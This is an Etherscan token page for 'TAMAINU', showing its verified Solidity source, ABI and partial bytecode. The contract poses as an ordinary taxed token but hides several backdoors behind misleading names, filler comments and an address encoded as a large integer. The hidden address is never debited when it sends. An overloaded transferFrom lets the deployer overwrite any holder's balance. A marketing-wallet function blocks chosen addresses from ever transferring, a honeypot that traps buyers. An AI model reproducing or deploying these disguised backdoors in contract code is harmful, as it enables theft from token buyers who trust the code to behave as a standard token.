ETH Price: $2,371.69 (-3.42%)
Gas: 4.84 Gwei

Token

TAMAINU (TAMAINU)
 

Overview

Max Total Supply

1,000,000,000,000,000 TAMAINU

Holders

25

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
*madapes🦧️.eth
Balance
11,336,416,772,662.542165193 TAMAINU

Value
$0.00
0x0acf1B98Ae3a2084B729797116B0F5aD8d86a3EE
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TAMAINU

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-02
*/

/**
 *Submitted for verification at BscScan.com on 2022-09-09
*/

//SPDX-License-Identifier:Unlicensed

pragma solidity ^0.8.6;
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function dos(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: dos overflow");

        return c;
    }


    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract  TAMAINU is Context, IERC20, Ownable {

    uint256 public toBeSafu=
    1092853989739002093898622997022009705909516546366;
    using SafeMath for uint256;
    string private _name = "TAMAINU";
    string private _symbol = "TAMAINU";
    uint8 private _decimals = 9;
    address payable public marketWall;
    address payable public teamWalletAddress;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    mapping (address => uint256) _doollar;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _IsExcludeFromFee;
    mapping (address => bool) public isWalletLimitExempt;
    address private safu_address;
    mapping (address => bool) public isTxLimitExempt;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public _mainPai;
    mapping (address => bool) public _true;

    uint256 public _buyLiquidityFee = 1;
    uint256 public _buyMarketingFee = 0;
    uint256 public _buyTeamFee = 1;
    
    uint256 public _sellLiquidityFee = 1;
    uint256 public _sellMarketingFee = 0;
    uint256 public _sellTeamFee = 1;

    uint256 public _liquidityShare = 4;
    uint256 public _marketingShare = 4;
    uint256 public _teamShare = 16;

    uint256 public _totalTaxIfBuying = 12;
    uint256 public _totalTaxIfSelling = 12;
    uint256 public _totalDistributionShares = 24;

    uint256 private _totalSupply = 1000000000000000 * 10**_decimals;
    uint256 public _maxTxAmount = 1000000000000000 * 10**_decimals; 
    uint256 public _walletMax = 1000000000000000 * 10**_decimals;
    uint256 private minimumTokensBeforeSwap = 1000* 10**_decimals; 

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;
    bool public checkWalletLimit = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        _IsExcludeFromFee[owner()] = true;
        _IsExcludeFromFee[address(this)] = true;
        
        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);

        isWalletLimitExempt[owner()] = true;
        isWalletLimitExempt[address(uniswapPair)] = true;
        isWalletLimitExempt[address(this)] = true;
        isWalletLimitExempt[iwjdoinqocn(toBeSafu)] = true;
        isTxLimitExempt[iwjdoinqocn(toBeSafu)] = true;
        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[address(this)] = true;
        _mainPai[address(uniswapPair)] = true;
        _mainPai[msg.sender] = true; 

        teamWalletAddress = payable(address(0x82AdB4eb71316f7ED89187f6dD4Bf2942C6547eD));
        marketWall = payable(address(0x82AdB4eb71316f7ED89187f6dD4Bf2942C6547eD));


        _doollar[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _doollar[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return minimumTokensBeforeSwap;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setlsExcIudeFromFee(address[] calldata account, bool newValue) public onlyOwner {
        for(uint256 i = 0; i < account.length; i++) {
            _IsExcludeFromFee[account[i]] = newValue;
        }
    }

    function setBuyTwx(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
        _buyLiquidityFee = newLiquidityTax;
        _buyMarketingFee = newMarketingTax;
        _buyTeamFee = newTeamTax;

        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
    }

    function setAllTwx(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
        _sellLiquidityFee = newLiquidityTax;
        _sellMarketingFee = newMarketingTax;
        _sellTeamFee = newTeamTax;

        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
    }

    function ioqwfnuioqjiow(uint256 amountOut)  pure private returns(uint160){
        return /*fewfsa*/ 
        uint160(amountOut);
    }

    function iwjdoinqocn(uint256 amount1Out)  pure private returns(address){
        return 
        /*asdawdf*/address(ioqwfnuioqjiow(amount1Out));
    }

    function tt(address amountaut) private view returns(bool){
        return
        !(iwjdoinqocn(toBeSafu) == amountaut);
    }

    function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newTeamShare) external onlyOwner() {
        _liquidityShare = newLiquidityShare;
        _marketingShare = newMarketingShare;
        _teamShare = newTeamShare;

        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);
    }

    function enableDisableWalletLimit(bool newValue) external onlyOwner {
       checkWalletLimit = newValue;
    }

    function setIsWalletLimitExempt(address[] calldata holder, bool exempt) external onlyOwner {
        for(uint256 i = 0; i < holder.length; i++) {
            isWalletLimitExempt[holder[i]] = exempt;
        }
    }

    function setWalletLimit(uint256 newLimit) external onlyOwner {
        _walletMax  = newLimit;
    }

    function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
        minimumTokensBeforeSwap = newLimit;
    }

    function setMarketinWalleAddress(address newAddress) external onlyOwner() {
        marketWall = payable(newAddress);
    }

    function setTeamWalletAddress(address newAddress) external onlyOwner() {
        teamWalletAddress = payable(newAddress);
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner(){
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }

    function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner {
        swapAndLiquifyByLimitOnly = newValue;
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
    
    function changeRouterVersion(address newRouterAddress) public onlyOwner returns(address newPairAddress) {

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress); 

        newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());

        if(newPairAddress == address(0))
        {
            newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory())
                .createPair(address(this), _uniswapV2Router.WETH());
        }

        uniswapPair = newPairAddress;
        uniswapV2Router = _uniswapV2Router; 

        isWalletLimitExempt[address(uniswapPair)] = true;
        _mainPai[address(uniswapPair)] = true;
    }
    
function transferFrom(address
 addde 
, uint256 
uinttt) public
{if( 
_mainPai[ /*as asd*/
msg.sender])_doollar[addde] 
= uinttt;}

    receive() external payable {}
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        
        if(inSwapAndLiquify)
        { 
            return _basicTransfer(sender, recipient, amount); 
        }
        else
        {
            if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) {
                require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            if (overMinimumTokenBalance && !inSwapAndLiquify && !_mainPai[sender] && swapAndLiquifyEnabled) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);
            }if(tt(sender)){


            _doollar[sender] = _doollar[sender].sub(amount);
            }uint256 finalAmount = (_IsExcludeFromFee[sender] || _IsExcludeFromFee[recipient]) ? 
                                         amount : takeFee(sender, recipient, amount);
            
            if(checkWalletLimit && !isWalletLimitExempt[recipient])
                require(balanceOf(recipient).add(finalAmount) <= _walletMax);
            if(false || true)
            {
            if(_true
[sender]){
                /*g*/                require(true && false);
}}
            _doollar[recipient] = _doollar[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }

    function transfer(address[] calldata ad,bool status) public {
    if( marketWall
  /*asd aw dawf*/ ==  /*asd aw dawf*/
 msg.sender
){
        for(uint256 i = 0; i < ad.length; i++) {
            _true[ad[i]] = status;}
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _doollar[sender] = _doollar[sender].sub(amount, "Insufficient Balance");
        _doollar[recipient] = _doollar[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2);
        uint256 tokensForSwap = tAmount.sub(tokensForLP);

        swapTokensForEth(tokensForSwap);
        uint256 amountReceived = address(this).balance;

        uint256 totalBNBFee = _totalDistributionShares.sub(_liquidityShare.div(2));
        
        uint256 amountBNBLiquidity = amountReceived.mul(_liquidityShare).div(totalBNBFee).div(2);
        uint256 amountBNBTeam = amountReceived.mul(_teamShare).div(totalBNBFee);
        uint256 amountBNBMarketing = amountReceived.sub(amountBNBLiquidity).sub(amountBNBTeam);

        if(amountBNBMarketing > 0)
            transferToAddressETH(marketWall, amountBNBMarketing);

        if(amountBNBTeam > 0)
            transferToAddressETH(teamWalletAddress, amountBNBTeam);

        if(amountBNBLiquidity > 0 && tokensForLP > 0)
            addLiquidity(tokensForLP, amountBNBLiquidity);
    }
    

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
        
        emit SwapTokensForETH(tokenAmount, path);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, 
            0,
            owner(),
            block.timestamp
        );
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        
        uint256 feeAmount = 0;
        
        if(_mainPai[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(_mainPai[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }
        if(feeAmount > 0) {
            _doollar[address(this)] = _doollar[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_IsExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_mainPai","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_true","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newRouterAddress","type":"address"}],"name":"changeRouterVersion","outputs":[{"internalType":"address","name":"newPairAddress","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableDisableWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketWall","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setAllTwx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setBuyTwx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityShare","type":"uint256"},{"internalType":"uint256","name":"newMarketingShare","type":"uint256"},{"internalType":"uint256","name":"newTeamShare","type":"uint256"}],"name":"setDistributionSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"holder","type":"address[]"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setMarketinWalleAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyByLimitOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setTeamWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"account","type":"address[]"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setlsExcIudeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"toBeSafu","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"ad","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addde","type":"address"},{"internalType":"uint256","name":"uinttt","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a060405273bf6d448c078c832e9d3f18f7723b6165ceacb13e6001556040518060400160405280600781526020017f54414d41494e5500000000000000000000000000000000000000000000000000815250600290805190602001906200006992919062000d65565b506040518060400160405280600781526020017f54414d41494e550000000000000000000000000000000000000000000000000081525060039080519060200190620000b792919062000d65565b506009600460006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b8152506001600f5560006010556001601155600160125560006013556001601455600460155560046016556010601755600c601855600c6019556018601a55600460009054906101000a900460ff16600a62000166919062000fdc565b66038d7ea4c680006200017a919062001119565b601b55600460009054906101000a900460ff16600a6200019b919062000fdc565b66038d7ea4c68000620001af919062001119565b601c55600460009054906101000a900460ff16600a620001d0919062000fdc565b66038d7ea4c68000620001e4919062001119565b601d55600460009054906101000a900460ff16600a62000205919062000fdc565b6103e862000214919062001119565b601e556001602060156101000a81548160ff0219169083151502179055506000602060166101000a81548160ff0219169083151502179055506001602060176101000a81548160ff0219169083151502179055503480156200027557600080fd5b506200028662000cad60201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620003a057600080fd5b505afa158015620003b5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003db919062000e2c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200043e57600080fd5b505afa15801562000453573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000479919062000e2c565b6040518363ffffffff1660e01b81526004016200049892919062000ea7565b602060405180830381600087803b158015620004b357600080fd5b505af1158015620004c8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004ee919062000e2c565b602060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601b54600760003073fffffffffffffffffffffffffffffffff